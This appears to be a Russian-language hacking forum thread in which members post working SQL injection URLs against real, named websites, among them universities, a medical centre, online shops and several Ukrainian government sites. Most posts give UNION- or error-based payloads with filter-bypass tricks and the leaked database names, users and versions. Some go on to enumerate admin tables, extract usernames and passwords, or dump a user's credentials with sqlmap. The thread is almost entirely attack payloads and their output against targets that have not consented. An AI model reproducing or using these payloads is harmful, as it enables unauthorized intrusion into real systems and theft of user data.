SQL Инъекции

Discussion in 'Уязвимости' started by yarbabin, 27 Apr 2015.

  1. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    49
    Likes Received:
    11
    Reputations:
    11
    Code:
    http://www.exxiasports.com/eventos.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,10--
    Code:
    http://www.exxiasports.com/eventos.php?id=-2+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10--
     
  2. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    49
    Likes Received:
    11
    Reputations:
    11
    Code:
    http://www.nichegardens.com/catalog/item.php?id=-1235+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--
    Code:
    http://www.nichegardens.com/catalog/item.php?id=-1235+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--
     
  3. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    49
    Likes Received:
    11
    Reputations:
    11
    John Lawrence Detwiler Memorial Library - Adventist University of the Philippines
    Code:
    http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,2,3,4,5--
    Code:
    http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5--
    Code:
    http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+37,8--
    Code:
    http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,column_name,3,4,5+from+information_schema.columns+where+table_name=%27user%27+limit+0,3--
    Code:
    http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,username,3,4,5+from+user+limit+0,1--
    Code:
    http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,password,3,4,5+from+user+limit+0,1--
     
  4. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    49
    Likes Received:
    11
    Reputations:
    11
    • International Leasing Securities Ltd.
    Версия БД:
    Code:
    http://www.ilslbd.com/content.php?Id=1%27or(ExtractValue(1,concat(0x3a,(select(version())))))=%271
    находим нужную таблицу:
    Code:
    http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(table_name%20using%20latin1)+from+information_schema.tables+limit+45,1+--+
    играемся с лимитом и получаем нужную колонку:
    Code:
    http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(column_name%20using%20latin1)+from+information_schema.columns+where+table_name=%27admin%27+limit+3,1+--+
    получаем админский логин
    Code:
    http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(UserName%20using%20latin1)+from+admin+limit+0,1+--+
    ну а дальше сами...
     
    shell_c0de and WallHack like this.
  5. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,505
    Likes Received:
    398
    Reputations:
    228
    Code:
    http://www.ub.edu/aqr/fitxa-persones_en.php?id=-8+/*!12345uNIoN*/+/*!12345sELecT*/+1,2,3,user()+--+
     
    BenderMR and sepo like this.
  6. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,505
    Likes Received:
    398
    Reputations:
    228
  7. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    49
    Likes Received:
    11
    Reputations:
    11
    Докрутил ))

    Code:
    https://www.uni-hohenheim.de/politmonitor/analysen_detail.php?id=-25+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8+--+
    Code:
    https://www.uni-hohenheim.de/politmonitor/analysen_detail.php?id=-25+union+select+1,table_name,3,4,5,6,7,8+from+information_schema.tables+limit+17,1+--+
    ==================================

    и кое-что от себя:
    Iraq Parliament Monitor

    Code:
    http://www.miqpm.com/new/English/News.php?ID=-1+union+select+1,2,3,4,5--
    Code:
    http://www.miqpm.com/new/English/News.php?ID=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5--
    Code:
    http://www.miqpm.com/new/English/News.php?ID=-1+union+select+1,2,table_name,4,5+from+information_schema.tables+limit+0,77--
     
    #207 sepo, 3 Jan 2019
    Last edited: 4 Jan 2019
  8. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    49
    Likes Received:
    11
    Reputations:
    11
    Dr. Khuroo’s Medical Centre
    Code:
    http://www.drkhuroo.in/news.php?id=-9%27+/*!12345uNIoN*/+/*!12345sELecT*/+1,2,3,4,5,6,7,8+--+
    Code:
    http://www.drkhuroo.in/news.php?id=-9%27+/*!12345uNIoN*/+/*!12345sELecT*/+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8+--+
    Code:
    http://www.drkhuroo.in/news.php?id=-9%27+/*!12345uNIoN*/+/*!12345sELecT*/+1,table_name,3,4,5,6,7,8+from+information_schema.tables+limit+90,1+--+
     
    BenderMR and BabaDook like this.
  9. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    49
    Likes Received:
    11
    Reputations:
    11
    Aayojan School of Architecture

    Code:
    http://www.aayojan.edu.in/jaipur/events_detail.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10--
    Code:
    http://www.aayojan.edu.in/jaipur/events_detail.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user()),9,10--
    Code:
    http://www.aayojan.edu.in/jaipur/events_detail.php?id=-1+union+select+1,2,3,4,5,6,7,table_name,9,10+from+information_schema.tables+limit%2059,1--
    Code:
    http://www.aayojan.edu.in/jaipur/events_detail.php?id=-1+union+select+1,2,3,4,5,6,7,column_name,9,10+from+information_schema.columns+where+table_name=%27admin_login%27+limit%203,5--
     
  10. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    49
    Likes Received:
    11
    Reputations:
    11
    The Regional Center for Social Science and Sustainble Development
    Chiang Mai University
    Code:
    http://rcsd.soc.cmu.ac.th/home/index.php?button=Submit&ptype=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+&sfile=publication

    Code:
    http://rcsd.soc.cmu.ac.th/home/index.php?button=Submit&ptype=-3+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12+--+&sfile=publication

    Code:
    http://rcsd.soc.cmu.ac.th/home/info.php


    P.S. Дальше было лень...
     
  11. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    49
    Likes Received:
    11
    Reputations:
    11
    ОАО «Брест - ВТИ»
    Code:
    http://brestvti.by/product.php?id=-115+union+select+1,2,3,4,5,6--
    Code:
    http://brestvti.by/product.php?id=-115+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6--
     
  12. BenderMR

    BenderMR Member

    Joined:
    23 Feb 2019
    Messages:
    56
    Likes Received:
    22
    Reputations:
    7
    Actuaries
    Code:
    http://www.actuaries.org.hk/education.php?id=13%27%20union%20select%201,%27table%27,3,concat_ws(0x7C,user(),database(),%20version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18--+#
    actuarie_db@localhost|actuarie_db|5.7.25

    lltours
    Code:
    http://www.lltours.com.ve/hoteles/ficha-promo.php?id=69%20and%20false%20union%20select%201,2,3,concat_ws(0x7C,user(),database(),%20version()),5,6,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34
    lltourssysweb@localhost|lltours|5.5.62-0+deb8u1

    Aryapg College

    Code:
    https://www.aryapgcollege.com/event.php?id=67%20and%200=1%20union%20select%201,2,%27tables%27,concat_ws(0x7C,user(),database(),%20version()),5
    aryapgco_a9p8g7c@localhost|aryapgco_collegepgarya9649|10.0.38-MariaDB
     
    WallHack likes this.
  13. BenderMR

    BenderMR Member

    Joined:
    23 Feb 2019
    Messages:
    56
    Likes Received:
    22
    Reputations:
    7
    WignWeave стоит за Mod_Security
    Code:
    http://www.wignweave.com/event.php?id=-34+/*!50000union*/+/*!50000select*/+1,2,%203,4,5,concat_ws(0x7C,user(),database(),version())--+
    
    wignweav_shop@localhost|wignweav_shop|5.6.41-84.1
     
  14. BenderMR

    BenderMR Member

    Joined:
    23 Feb 2019
    Messages:
    56
    Likes Received:
    22
    Reputations:
    7
    Sprint15
    Code:
    https://www.sprint15.com/events/EMS/event.php?id=173%20and%20false%20union%20select%201,2,3,4,5,6,7,8,9,10,concat_ws(0x7C,user(),database(),%20version()),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40--+
    uspr_191808_0002@localhost|sprint15com_191808_db2|5.5.62

    Gl Bajaj Institute
    Code:
    http://www.glbimr.org/event.php?id=-55%27%20union%20select%201,concat_ws(0x7C,user(),database(),version()),3--+
    glbimrfeb2019@localhost|glbimr_org_feb21|5.6.43
     
  15. BenderMR

    BenderMR Member

    Joined:
    23 Feb 2019
    Messages:
    56
    Likes Received:
    22
    Reputations:
    7
    Great Canadian Healthcare Mall
    Вывода на страницу нет. Выводит в src аттрибут img тега.
    Code:
    view-source:http://greatcanadianhealthcaremall.com/product.php?id=-482%27%20/*!50000uNiOn*/%20/*!50000select*/%20%27im%20here2%27,2,3,4,concat_ws('|',current_user,@@version),6,7,8,9,10%20--%20&ptab=description&title=Nitroglycerin
    canazqik_user@localhost | 10.1.37-MariaDB-cll-lve

    Отфильтровывает многие функции, в том числе database()
    Code:
    view-source:http://greatcanadianhealthcaremall.com/product.php?id=-482%27%20/*!50000uNiOn*/%20/*!50000select*/%20%27im%20here2%27,2,3,4,/*!50000sCheMA_naMe*/,6,7,8,9,10 from%20/*!50000infoRmaTioN_scHeMa.sCheMatA*/--%20&ptab=description&title=Nitroglycerin
    
    
    canazqik_db

    Берем все таблицы
    Code:
    view-source:http://greatcanadianhealthcaremall.com/product.php?id=-482%27%20/*!50000uNiOn*/%20/*!50000select*/%20%27im%20here2%27,2,3,4,/*!50000group_concat(table_name)*/,6,7,8,9,10 from%20/*!50000infoRmaTioN_scHeMa.tables*/ where table_schema='canazqik_db'--%20&ptab=description&title=Nitroglycerin
    
    Считаем что там вообще есть
    Code:
    view-source:http://greatcanadianhealthcaremall.com/product.php?id=-482%27%20/*!50000uNiOn*/%20/*!50000select*/%20%27im%20here2%27,2,3,4,/*!50000count(*)*/,6,7,8,9,10 from%20orders where length(paypaldata)>3--%20&ptab=description&title=Nitroglycerin
    Astinsriwedarisolo
    Code:
    http://www.astinsriwedarisolo.com/product.php?id=-111111111111111111111111111%27%20union%20select%20%271%27,concat_ws(%27|%27,%20database(),user(),version()),%273%27,%274%27,%275%27,%276%27--+
    
    astin|astin@localhost|5.5.44

    Code:
    http://www.astinsriwedarisolo.com/product.php?id=-1%27%20union%20select%20%271%27,group_concat(column_name,0x0a)%20,%273%27,%274%27,%275%27,%276%27%20from%20information_schema.columns%20where%20table_schema%20like%20database()%20and%20table_name=%27arf_member%27--+
    
    Для тех кому не лень с переводчиком сидеть

    Miyabi
    Code:
    http://www.miyabi.com.au/item.php?id=281%20and%201%3E2%20union%20select%201,2,3,4,5,6,7,concat_ws(%27|%27,user(),database(),version()),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--+
    
    driving_miyabi@bsd34.qnetau.com|driving_miyabi|5.7.21-log

    Code:
    http://www.miyabi.com.au/item.php?id=281%20and%201%3E2%20union%20select%201,2,3,4,5,6,7,user(),group_concat(column_name,0x0a),10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27MEMBER%27--+
    
     
    sepo likes this.
  16. BenderMR

    BenderMR Member

    Joined:
    23 Feb 2019
    Messages:
    56
    Likes Received:
    22
    Reputations:
    7
    WebLoadmpStore
    Code:
    http://www.webloadmpstore.com/product.php?id=-3%20/*!12345uNioN*/+/*!12345SeLeCt*/+1,2,concat_ws(0x7c,database(),user(),version()),4,5,6,7
    
    webloadm_new|webloadm_new@localhost|5.6.39-83.1

    Corbett Foundation
    Code:
    http://www.corbettfoundation.org/product.php?id=-53%20union%20select%201,2,3,4,5,6,concat_ws(%27|%27,database(),user(),version()),8,9,10,11&cat=&subcat=
    corbettf_org|corbettf_org@localhost|5.6.43

    Go Healthy
    Code:
    https://gohealthy.co.za/product.php?id=-612%27%20union%20select%201,concat_ws(%27|%27,user(),database(),version()),group_concat(table_name,0x0a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20information_schema.tables%20where%20table_schema=database()--+
    goheadbwpz_1@dedi909.jnb1.host-h.net|goheadbwpz_db1|10.1.38-MariaDB-1~jessie
     
    altblitz and Turanchocks_ like this.
  17. BenderMR

    BenderMR Member

    Joined:
    23 Feb 2019
    Messages:
    56
    Likes Received:
    22
    Reputations:
    7
    И так сливаю данную скулю найденную на smotra.ru, так как мое обращение к ним было проигнорировано.

    Code:
    sqlmap -u http://smotra.ru/market/cat/11*/ -D sm_test --dbms mysql --sql-shell --random-agent
    
    DB: sm_test
    USER: sm_test@localhost

    VERSION: 5.1.73

    И вот собственно Эрик:
    Code:
    sqlmap -u 'http://smotra.ru/market/cat/11*/' -D sm_test -T users -C email, password --where="slug='erik_davidych'" --dump  --dbms mysql --random-agent
    
     
    sepo, shell_c0de, l1ght and 1 other person like this.
  18. BenderMR

    BenderMR Member

    Joined:
    23 Feb 2019
    Messages:
    56
    Likes Received:
    22
    Reputations:
    7
    Фискальная служба Украины
    Code:
    http://sfs.gov.ua/registration.php?search=area&hregion_id=2 and extractvalue(0x0a,concat(0x0a,(select concat_ws(0x7c,database(),user(),version())  )))
    XPATH syntax error: ' site|front_tmp@10.85.6.2|5.1.73'

    И сразу быстрый вопрос. При появлении слова FROM сразу получается ошибка синтаксиса. Не могу дальше никак пройти.
    Собственно сам вопрос: это действительно какая то ошибка синтаксиса или там такого рода фильтрация?
    И как вообще эту дичь обойти, потому что не первый раз стопорится именно на FROM и ничего не заходит. Хакеры, подскажите
     
  19. BenderMR

    BenderMR Member

    Joined:
    23 Feb 2019
    Messages:
    56
    Likes Received:
    22
    Reputations:
    7
    Національна Академія Аграрних наук України

    Code:
    http://imesg.gov.ua/info/index.php?id=41
    
    Parameter: id (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: id=41' AND 2988=2988 AND 'ouFu'='ouFu
    
        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind
        Payload: id=41' AND SLEEP(5) AND 'cnAl'='cnAl
    VERSION: 5.6.34
    USER: imesg_db_utf@localhost
    DB: imesg_db_utf

    Управление труда и социальной защиты населения Хмельницкого городского совета

    Code:
    https://soczahist.khm.gov.ua/index.php?ID=-423%20union%20select%20concat_ws(0x7c,database(),version(),user()),group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()
    
    soczahis_soczah|5.5.53|soczahis_soczah@localhost

    Что то с оборотом наркотиков и их лицензии
    Code:
    http://usuan.dls.gov.ua/filial.php?id=-4347%20union%20select%201,concat_ws(0x7c,%20database(),user(),%20version()),3,4,5,6,7,8,9,11,12,13,14
    usuan|5.6.38|usuan@localhost

     
    sepo likes this.
  20. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    49
    Likes Received:
    11
    Reputations:
    11
    Code:
    http://www.blubud.it/eng/news.php?id=-88+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7--
     
    BenderMR likes this.
Loading...